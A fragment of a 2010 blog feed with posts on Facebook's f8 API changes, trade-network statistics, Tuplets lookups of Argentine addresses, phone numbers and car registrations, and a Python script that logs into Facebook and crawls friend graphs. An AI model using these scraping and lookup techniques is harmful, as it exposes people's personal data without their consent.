href='http://blog.mechpoet.net/2010/05/future-of-facebook.html' title='The Future of Facebook'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/S98M_scFNYI/AAAAAAAAAPM/5gwwCqFLzpI/s72-c/hack.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-4369127427169086539</id><published>2010-05-03T10:46:00.000-07:00</published><updated>2010-05-03T11:53:12.029-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='f8'/><category scheme='http://www.blogger.com/atom/ns#' term='future'/><title type='text'>El Futuro de Facebook</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98M_scFNYI/AAAAAAAAAPM/5gwwCqFLzpI/s1600/hack.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 225px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98M_scFNYI/AAAAAAAAAPM/5gwwCqFLzpI/s400/hack.jpg" alt="" id="BLOGGER_PHOTO_ID_5467102761051305346" border="0" /&gt;&lt;/a&gt;Bueno amigos, les hago un resumen de la charla principal de &lt;a href="http://apps.facebook.com/feightlive/"&gt;f8&lt;/a&gt;, la conferencia para desarrolladores, que acabo de ver por en diferido. Basicamente comentan a grandes rasgos la evolución de la API de Facebook disponible a las aplicaciones y como es la nueva interconexión con otros sitios mas o menos sociales.&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Nuevo Input de Facebook&lt;/span&gt;: Ahora los sitios asociados a Facebook (por ejemplo CNN y IMDB) pueden incluir un &lt;span style="font-style: italic;"&gt;markup &lt;/span&gt;abierto llamado &lt;a href="http://opengraphprotocol.org/"&gt;Open Graph Protocol&lt;/a&gt; para darle un valor semántico estandard a la información social. Por ejemplo deportes, celebridades, amigos y lugares pueden estar unificados por esta &lt;a href="http://es.wikipedia.org/wiki/Extensible_Markup_Language"&gt;información estructurada&lt;/a&gt; y extensible. Lo importante a destacar en este caso es que Facebook quiere recibir como input estos datos sociales, es decir &lt;span style="font-weight: bold;"&gt;quieren consumir información social de terceros para agregarla a sus propios &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;feeds&lt;/span&gt;. Como ejemplo recomendé un artículo de CNN en mi FB feed desde el sitio de CNN.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/S98QBo9A2gI/AAAAAAAAAPU/0vX21Lj9Pgs/s1600/cnn.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 66px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/S98QBo9A2gI/AAAAAAAAAPU/0vX21Lj9Pgs/s400/cnn.png" alt="" id="BLOGGER_PHOTO_ID_5467106093010311682" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Nuevo Output de Facebook&lt;/span&gt;: de la misma manera que ahora consumirá contenido social de socios estratégicos de FB, estos socios también podrán con pocas lineas de código HTML darle vida social a sus clásicos, y levemente anti-sociales sitios webs. Es decir &lt;span style="font-weight: bold;"&gt;ahora FB registrará relaciones en sitios externos y estas relaciones se mostraran externamente&lt;/span&gt;. Esto es lo llamado &lt;a href="http://developers.facebook.com/plugins"&gt;Social Plugins&lt;/a&gt;.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/S98XAZMTPVI/AAAAAAAAAPc/KUZrlEYOc2E/s1600/plugin.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 303px; height: 194px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/S98XAZMTPVI/AAAAAAAAAPc/KUZrlEYOc2E/s400/plugin.png" alt="" id="BLOGGER_PHOTO_ID_5467113768180989266" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Nueva API&lt;/span&gt;: esto es lo que mas me interesa a mi como investigador de redes sociales e información pública. La nueva API, llamada &lt;a href="http://developers.facebook.com/docs/api"&gt;Graph API&lt;/a&gt;, es lo mismo pero más simple porque usa los estandares OAuth y JSON. Además los URLs de acceso están mucho más uniformes y claros. &lt;span style="font-weight: bold;"&gt;Algo nuevo en la API me parece son los &lt;/span&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;callbacks&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; para &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://developers.facebook.com/docs/api/realtime"&gt;avisos en tiempo real&lt;/a&gt;. También es notable que quitaron &lt;span style="font-weight: bold;"&gt;la limitación de 24 horas para las cookies de la API&lt;/span&gt;, esto podía ser &lt;a href="http://stackoverflow.com/questions/2140142/pyfacebook-infinite-session"&gt;evitada para un usuario&lt;/a&gt; pero no para todos.&lt;br /&gt;&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98XPubBYgI/AAAAAAAAAPk/ItyEo3T2g_w/s1600/graph.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 333px; height: 285px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S98XPubBYgI/AAAAAAAAAPk/ItyEo3T2g_w/s400/graph.png" alt="" id="BLOGGER_PHOTO_ID_5467114031577915906" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Nueva Moneda&lt;/span&gt;: También se unificó el tema de los &lt;a href="http://developers.facebook.com/credits"&gt;FB pesos&lt;/a&gt;, que son llamados &lt;span style="font-style: italic;"&gt;credits&lt;/span&gt;. Antes parece que cada aplicación manejaba su propia moneda interna. Es decir, &lt;span style="font-weight: bold;"&gt;habrá una única moneda virtual en FB&lt;/span&gt;.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.ak.fbcdn.net/images/credits/logo_huge.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 180px; height: 179px;" src="http://static.ak.fbcdn.net/images/credits/logo_huge.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Nueva política de datos para terceros&lt;/span&gt;: Otra novedad menor pero estratégica es la unificación de la interfaz de configuración de información compartida con aplicaciones externa. Es decir &lt;span style="font-weight: bold;"&gt;ahora comparto todo o no compartó nada con una aplicación externa, no hay puntos intermedios&lt;/span&gt;. La granularidad bajo, antes era un &lt;span style="font-style: italic;"&gt;check-list&lt;/span&gt; detallado item por item.&lt;blockquote&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sphotos.ak.fbcdn.net/hphotos-ak-snc3/hs518.snc3/27198_395095088552_19292868552_3995134_1102397_n.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 503px; height: 278px;" src="http://sphotos.ak.fbcdn.net/hphotos-ak-snc3/hs518.snc3/27198_395095088552_19292868552_3995134_1102397_n.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;En resumen FB quiere nuevas entradas de datos estructurados de terceros, quiere relacionar socialmente los datos de terceros y mostrar esta información externamente, mantiene el mismo modelo en general de la plataforma FB/API pero lo hace mas fluído y cercano al tiempo real, quiere unificar la monedas virtuales en una sola y reduce notablemente la granularidad de configuración en el acceso a datos de para aplicaciones de su plataforma.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-4369127427169086539?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/4369127427169086539/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/05/el-futuro-de-facebook.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4369127427169086539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4369127427169086539'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/05/el-futuro-de-facebook.html' title='El Futuro de Facebook'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/S98M_scFNYI/AAAAAAAAAPM/5gwwCqFLzpI/s72-c/hack.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-733299991679634394</id><published>2010-05-03T05:53:00.000-07:00</published><updated>2010-05-03T06:33:01.040-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><category scheme='http://www.blogger.com/atom/ns#' term='libre'/><category scheme='http://www.blogger.com/atom/ns#' term='comercio'/><category scheme='http://www.blogger.com/atom/ns#' term='complejas'/><title type='text'>Libre comercio y redes complejas</title><content type='html'>&lt;div style="text-align: justify;"&gt;Parece que finalmente se empezaron a estudiar las propiedades estadísticas de las redes de comercio: &lt;a href="http://arxiv.org/abs/1004.4402"&gt;Characteristics of Real Futures Trading Networks&lt;/a&gt;. En este caso, unos investigadores chinos publicaron un artículo sobre redes de comercio de futuros en una bolsa de comercio.  Para bajar el artículo ver la &lt;a href="http://arxiv.org/abs/1004.4402"&gt;entrada en arXiv&lt;/a&gt; (fue enviado para referato a la revista &lt;a href="http://www.elsevier.com/wps/find/journaldescription.cws_home/505702/description#description"&gt;&lt;span style="font-style: italic;"&gt;Physica A&lt;/span&gt;&lt;/a&gt;).&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Puedo destacar que se observan en las distribuciones estadísticas, por ejemplo de &lt;a href="http://es.wikipedia.org/wiki/Grado_%28teor%C3%ADa_de_grafos%29"&gt;grados&lt;/a&gt;, carácteristicas de tipo &lt;a href="http://es.wikipedia.org/wiki/Ley_potencial"&gt;ley de potencias&lt;/a&gt;. Estas carácteristicas las veniamos observando en redes sociales y otras redes complejas como ser las de Internet, aeropuertos y reacciones bioquímicas.&lt;br /&gt;&lt;br /&gt;Veamos un ejemplo de los investigadores chinos.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/S97KLXuuRWI/AAAAAAAAAOo/aq2O2bEa23E/s1600/trading1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 201px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/S97KLXuuRWI/AAAAAAAAAOo/aq2O2bEa23E/s400/trading1.png" alt="" id="BLOGGER_PHOTO_ID_5467029294371718498" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S97KfLL05uI/AAAAAAAAAOw/ItMrjtOEqv0/s1600/trading2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 64px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S97KfLL05uI/AAAAAAAAAOw/ItMrjtOEqv0/s400/trading2.png" alt="" id="BLOGGER_PHOTO_ID_5467029634601510626" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S97KkQf7CoI/AAAAAAAAAO4/otJ8De5vsdM/s1600/trading3.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 295px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S97KkQf7CoI/AAAAAAAAAO4/otJ8De5vsdM/s400/trading3.png" alt="" id="BLOGGER_PHOTO_ID_5467029721927322242" border="0" /&gt;&lt;/a&gt;Lo interesante en estos casos económicos es que estas distribuciones aparecen porque no hay un límite a la cantidad de operaciones que pueden realizar los agentes. Igual hay que observar que se perdió un poco de información en el análisis del artículo porque usaron &lt;a href="http://es.wikipedia.org/wiki/Grafo#Grafo_no_dirigido"&gt;grafos no dirigidos/no orientados&lt;/a&gt; cuando en realidad las operaciones de compra y venta son dirigidas, no son simétricas.&lt;br /&gt;&lt;br /&gt;Es importante comentar que en caso de intercambios comerciales las reglas de juego son artificiales, al igual que en los &lt;a href="http://es.wikipedia.org/wiki/Servicios_de_red_social"&gt;servicios de redes sociales&lt;/a&gt;. Es decir, se puede decir que surgen patrones determinados solamente frente a determinadas reglas de juego económicas. Entonces se plantea que estas leyes de potencias en las curvas (ver abajo) indican desigualdades económicas que pueden ser distintas en otros sistemas económicos.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S97OFrFuVpI/AAAAAAAAAPA/L2k0VwLDMls/s1600/tail.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 210px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S97OFrFuVpI/AAAAAAAAAPA/L2k0VwLDMls/s400/tail.png" alt="" id="BLOGGER_PHOTO_ID_5467033594535761554" border="0" /&gt;&lt;/a&gt;Lo que puede variar es el exponente de la curva potencial o podría aparecer otro tipo de distribución. Por ejemplo alguién podría especular que la cantidad consumidad de cierto producto, por ejemplo pasta de dientes, sigue una distribucion distinta a la pontencial (por ejemplo &lt;a href="http://es.wikipedia.org/wiki/Distribuci%C3%B3n_normal"&gt;gaussiana&lt;/a&gt; o &lt;a href="http://en.wikipedia.org/wiki/Gamma_distribution"&gt;Gamma&lt;/a&gt;). En este último caso tal vez no tendríamos un mercado líquido, ya que hay una limitación supuesta en la cantidad de veces que la gente esta interesada en lavarse los dientes y en acumular pasta de diente en sus despensas.&lt;br /&gt;&lt;br /&gt;Para terminar, algo muy curioso que pusieron en el artículo &lt;a href="http://es.wikipedia.org/wiki/Desigualdad_en_los_ingresos"&gt;Desigualdad en los ingresos&lt;/a&gt; de Wikipedia es:&lt;br /&gt;&lt;blockquote&gt; Tanto en términos &lt;a href="http://es.wikipedia.org/wiki/Utilitarismo" title="Utilitarismo"&gt;utilitarios&lt;/a&gt; como &lt;a href="http://es.wikipedia.org/wiki/%C3%89tica" title="Ética"&gt;ético&lt;/a&gt;-&lt;a href="http://es.wikipedia.org/wiki/Moral" title="Moral"&gt;morales&lt;/a&gt;, existe polémica por determinar si la existencia de la desigualdad económica es un fenómeno positivo o negativo.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-733299991679634394?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/733299991679634394/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/05/libre-comercio-y-redes-complejas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/733299991679634394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/733299991679634394'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/05/libre-comercio-y-redes-complejas.html' title='Libre comercio y redes complejas'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tJD3vUnZtL0/S97KLXuuRWI/AAAAAAAAAOo/aq2O2bEa23E/s72-c/trading1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7825530743792567781</id><published>2010-04-04T23:23:00.000-07:00</published><updated>2011-03-28T14:01:30.190-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tuplets'/><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='telefono'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='automotor'/><category scheme='http://www.blogger.com/atom/ns#' term='privacidad'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Basic privacy queries in Facebook and Argentina using Tuplets</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S7mPOQH0UjI/AAAAAAAAANU/9YsjpCo26Kg/s1600/12CrackpotIdeas4.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S7mPOQH0UjI/AAAAAAAAANU/9YsjpCo26Kg/s400/12CrackpotIdeas4.jpg" alt="" id="BLOGGER_PHOTO_ID_5456549898544763442" border="0" /&gt;&lt;/a&gt;I included some basic but interesting features on &lt;a href="http://www.tuplets.org/"&gt;Tuplets&lt;/a&gt; in these days:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;An &lt;a href="http://stackoverflow.com/questions/2140142/pyfacebook-infinite-session"&gt;infinite Facebook API session token&lt;/a&gt;, so you can query the Facebook API from pyfacebook without temporal limitations. Right now I have only included queries to Facebook table &lt;span style="font-style: italic;"&gt;User&lt;/span&gt; using facebook user id as key. Example queries: &lt;a href="http://www.tuplets.org/shell.do?statement=facebook_user%20name%20100000503807221"&gt;&lt;span style="font-family:courier new;"&gt;facebook_user name 100000503807221&lt;/span&gt;&lt;/a&gt; (&lt;a href="http://www.tuplets.org/shell.do?statement=facebook_user%20name%20100000503807221&amp;amp;format=json"&gt;json&lt;/a&gt;) and&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;a style="font-family: courier new;" href="http://www.tuplets.org/shell.do?statement=facebook_user%20website%20100000503807221"&gt;facebook_user website 100000503807221&lt;/a&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;(&lt;a href="http://www.tuplets.org/shell.do?statement=facebook_user%20website%20100000503807221&amp;amp;format=json"&gt;json&lt;/a&gt;). Facebook username as key are not supported yet by Tuplets.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Tuplets for car registrations was included for Argentina. Answers are government offices where the car was registered. Example queries: &lt;a style="font-family: courier new;" href="http://www.tuplets.org/shell.do?statement=auto_ar%20direccion%20HUC553"&gt;auto_ar direccion HUC553&lt;/a&gt; (&lt;a href="http://www.tuplets.org/shell.do?statement=auto_ar%20direccion%20HUC553&amp;amp;format=json"&gt;json&lt;/a&gt;) or &lt;a style="font-family: courier new;" href="http://www.tuplets.org/shell.do?statement=auto_ar%20telefono%20HUC553"&gt;auto_ar telefono HUC553&lt;/a&gt; (&lt;a href="http://www.tuplets.org/shell.do?statement=auto_ar%20telefono%20HUC553&amp;amp;format=json"&gt;json&lt;/a&gt;). Source: &lt;a href="http://www.dnrpa.gov.ar/"&gt;&lt;span class="Estilo35"&gt;&lt;span class="Estilo37"&gt;DN&lt;/span&gt;&lt;span class="Estilo33"&gt;R&lt;/span&gt;&lt;span class="Estilo36"&gt;PA.&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Tuplets for home registrations by phone number in Argentina. Example queries:&lt;a style="font-family: courier new;"&gt; &lt;/a&gt;&lt;a style="font-family: courier new;" href="http://www.tuplets.org/shell.do?statement=telefono_ar%20domicilio%20%28011%2947776289"&gt;telefono_ar domicilio (011)47776289&lt;/a&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;(&lt;a href="http://www.tuplets.org/shell.do?statement=telefono_ar%20domicilio%20%28011%2947776289&amp;amp;format=json"&gt;json&lt;/a&gt;) or &lt;a href="http://www.tuplets.org/shell.do?statement=telefono_ar%20nombre%20%28011%2947776289"&gt;&lt;span style="font-family:courier new;"&gt;telefono_ar nombre (011)47776289&lt;/span&gt;&lt;/a&gt; (&lt;a href="http://www.tuplets.org/shell.do?statement=telefono_ar%20nombre%20%28011%2947776289&amp;amp;format=json"&gt;json&lt;/a&gt;). Source: &lt;a href="http://www.telexplorer.com.ar/"&gt;Telexplorer Argentina&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Tuplets for home registrations by person name in Argentina. Example queries: &lt;a href="http://www.tuplets.org/shell.do?statement=persona_ar%20telefono%20%22perez%20juan%22"&gt;&lt;span style="font-family:courier new;"&gt;persona_ar telefono "perez juan"&lt;/span&gt;&lt;/a&gt; (&lt;a href="http://www.tuplets.org/shell.do?statement=persona_ar%20telefono%20%22perez%20juan%22&amp;amp;format=json"&gt;json&lt;/a&gt;) or &lt;a href="http://www.tuplets.org/shell.do?statement=persona_ar%20domicilio%20%22santilli%20diego%22"&gt;&lt;span style="font-family:courier new;"&gt;persona_ar domicilio "santilli diego"&lt;/span&gt;&lt;/a&gt; (&lt;a href="http://www.tuplets.org/shell.do?statement=persona_ar%20domicilio%20%22santilli%20diego%22&amp;amp;format=json"&gt;json&lt;/a&gt;). Source: &lt;a href="http://www.telexplorer.com.ar/"&gt;Telexplorer Argentina&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Read the &lt;a href="http://www.tuplets.org/tutorial"&gt;tutorial&lt;/a&gt; for the complete list of external tuplets available!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;(photo extracted from &lt;a href="http://www.infoworld.com/%5Bprimary-term-alias-prefix%5D/%5Bprimary-term%5D/12-crackpot-tech-ideas-just-might-work-780"&gt;here&lt;/a&gt;, copyright Ryan Etter)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7825530743792567781?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7825530743792567781/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/04/basic-privacy-queries-in-facebook-and.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7825530743792567781'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7825530743792567781'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/04/basic-privacy-queries-in-facebook-and.html' title='Basic privacy queries in Facebook and Argentina using Tuplets'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/S7mPOQH0UjI/AAAAAAAAANU/9YsjpCo26Kg/s72-c/12CrackpotIdeas4.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-8112224174647207913</id><published>2010-03-22T23:00:00.000-07:00</published><updated>2010-03-29T07:38:29.994-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='friends'/><category scheme='http://www.blogger.com/atom/ns#' term='cloudlight'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Cloudlight and Facebook friends privacy</title><content type='html'>&lt;div style="text-align: justify;"&gt;I wanted to present &lt;a href="https://www.assembla.com/wiki/show/cloudlight"&gt;Cloudlight&lt;/a&gt;, another experimental framework for analysing complex graphs and collecting graph data. It extends &lt;a href="http://networkx.lanl.gov/"&gt;NetworkX&lt;/a&gt;, a wonderful Python library. As an example the following graph node is able to retrieve Facebook friends and Facebook complete names. You need just &lt;a href="http://wwwsearch.sourceforge.net/mechanize/"&gt;python-mechanize&lt;/a&gt; to test &lt;span style="font-family:courier new;"&gt;FacebookNode.friends()&lt;span style="font-family:arial;"&gt;. &lt;span style="font-family:georgia;"&gt;The original source is &lt;a href="https://www.assembla.com/code/cloudlight/subversion/nodes/src/nodes/facebook.py"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Disclaimer: Don't abuse otherwise your Facebook account will be banned as usual.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:georgia;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:georgia;"&gt;First I show you an example using FacebookNode. You need the complete Cloudlight, or just Networkx&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; and only FacebookNode.&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;code&gt;&lt;/code&gt;&lt;pre style=""&gt;&lt;br /&gt;############################################################################&lt;br /&gt;from cloudlight.src.nodes.facebook import FacebookNode&lt;br /&gt;from networkx import Graph&lt;br /&gt;# or from cloudlight.clasess.graph import Graph&lt;br /&gt;&lt;br /&gt;FacebookNode.initialize({}, &lt;span style=""&gt;'&lt;/span&gt;&lt;span style=""&gt;mail_for_facebook_login&lt;/span&gt;&lt;span style=""&gt;'&lt;/span&gt;,&lt;br /&gt;&lt;span style=""&gt;                            '&lt;/span&gt;&lt;span style=""&gt;password_for_facebook_login&lt;/span&gt;&lt;span style=""&gt;'&lt;/span&gt;, False)&lt;br /&gt;&lt;br /&gt;node = FacebookNode(&lt;span style=""&gt;1151613578&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;node.grab_user_details()&lt;br /&gt;print node.name&lt;br /&gt;&lt;br /&gt;g = Graph()&lt;br /&gt;node.visit_friends(g, &lt;span style=""&gt;2&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;print map(lambda x : x.name, g.nodes() )&lt;br /&gt;&lt;br /&gt;g2 = Graph()&lt;br /&gt;node.visit_friends(g2, &lt;span style=""&gt;5000&lt;/span&gt;, False)&lt;br /&gt;&lt;br /&gt;print map( lambda (x,y): (x.id, y.id), g2.edges() )&lt;br /&gt;############################################################################&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-family:monospace;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-8112224174647207913?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/8112224174647207913/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/03/cloudlight-and-facebook-friends-privacy.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8112224174647207913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/8112224174647207913'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/03/cloudlight-and-facebook-friends-privacy.html' title='Cloudlight and Facebook friends privacy'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' 